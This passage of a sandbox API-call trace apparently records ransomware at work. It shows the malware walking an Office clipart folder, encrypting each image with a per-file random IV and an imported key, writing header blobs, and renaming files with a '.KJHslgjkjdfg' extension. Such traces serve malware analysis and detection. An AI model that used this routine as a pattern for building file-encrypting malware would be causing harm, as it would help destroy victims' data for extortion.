lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.657] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.657] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.657] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.657] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x307f8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x307f8, lpOverlapped=0x0) returned 1 [0231.661] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30800, dwBufLen=0x30800 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30800) returned 1 [0231.662] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.663] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x30800, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x30800, lpOverlapped=0x0) returned 1 [0231.669] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x308d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.669] SetEndOfFile (hFile=0x130) returned 1 [0231.673] GetProcessHeap () returned 0x2ef0000 [0231.673] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.673] GetProcessHeap () returned 0x2ef0000 [0231.673] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp.kjhslgjkjdfg")) returned 1 [0231.675] CloseHandle (hObject=0x130) returned 1 [0231.675] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2322a600, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2322a600, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xa0d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02759J.JPG", cAlternateFileName="")) returned 1 [0231.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.676] GetProcessHeap () returned 0x2ef0000 [0231.676] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.676] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.676] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0231.679] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.679] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.679] GetProcessHeap () returned 0x2ef0000 [0231.679] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.679] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.679] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.679] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.679] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.679] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.679] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.679] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.679] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.679] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.680] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa0d2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa0d2, lpOverlapped=0x0) returned 1 [0231.681] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa0e0, dwBufLen=0xa0e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa0e0) returned 1 [0231.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.681] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa0e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa0e0, lpOverlapped=0x0) returned 1 [0231.682] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.682] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa1b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.682] SetEndOfFile (hFile=0x130) returned 1 [0231.685] GetProcessHeap () returned 0x2ef0000 [0231.685] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.685] GetProcessHeap () returned 0x2ef0000 [0231.685] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.685] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg.kjhslgjkjdfg")) returned 1 [0231.687] CloseHandle (hObject=0x130) returned 1 [0231.687] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcb03b00, ftCreationTime.dwHighDateTime=0x1bd4e50, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcb03b00, ftLastWriteTime.dwHighDateTime=0x1bd4e50, nFileSizeHigh=0x0, nFileSizeLow=0xc5d7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02810J.JPG", cAlternateFileName="")) returned 1 [0231.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.688] GetProcessHeap () returned 0x2ef0000 [0231.688] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.688] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.688] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0231.693] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.693] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.693] GetProcessHeap () returned 0x2ef0000 [0231.693] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.693] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.693] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.693] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.694] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.694] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.694] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.694] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.694] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.694] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.694] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc5d7, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc5d7, lpOverlapped=0x0) returned 1 [0231.695] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc5e0, dwBufLen=0xc5e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc5e0) returned 1 [0231.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.696] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc5e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc5e0, lpOverlapped=0x0) returned 1 [0231.696] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc6b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.696] SetEndOfFile (hFile=0x130) returned 1 [0231.699] GetProcessHeap () returned 0x2ef0000 [0231.699] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.699] GetProcessHeap () returned 0x2ef0000 [0231.700] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.700] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg.kjhslgjkjdfg")) returned 1 [0231.702] CloseHandle (hObject=0x130) returned 1 [0231.702] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81187900, ftCreationTime.dwHighDateTime=0x1bd4c19, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81187900, ftLastWriteTime.dwHighDateTime=0x1bd4c19, nFileSizeHigh=0x0, nFileSizeLow=0xf438, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02829J.JPG", cAlternateFileName="")) returned 1 [0231.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.703] GetProcessHeap () returned 0x2ef0000 [0231.703] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.704] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.704] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.706] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.706] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.706] GetProcessHeap () returned 0x2ef0000 [0231.706] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.706] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.706] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.706] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.706] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.706] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.706] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.707] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.707] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.707] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.707] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf438, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf438, lpOverlapped=0x0) returned 1 [0231.708] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf440, dwBufLen=0xf440 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf440) returned 1 [0231.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.709] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf440, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf440, lpOverlapped=0x0) returned 1 [0231.709] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.710] SetEndOfFile (hFile=0x130) returned 1 [0231.713] GetProcessHeap () returned 0x2ef0000 [0231.713] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.713] GetProcessHeap () returned 0x2ef0000 [0231.713] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg.kjhslgjkjdfg")) returned 1 [0231.715] CloseHandle (hObject=0x130) returned 1 [0231.715] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66374600, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66374600, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02845G.GIF", cAlternateFileName="")) returned 1 [0231.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.717] GetProcessHeap () returned 0x2ef0000 [0231.717] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.717] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.717] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0231.719] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.719] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.719] GetProcessHeap () returned 0x2ef0000 [0231.719] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.719] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.719] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.719] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.719] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.719] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.720] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.720] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.720] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.720] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, 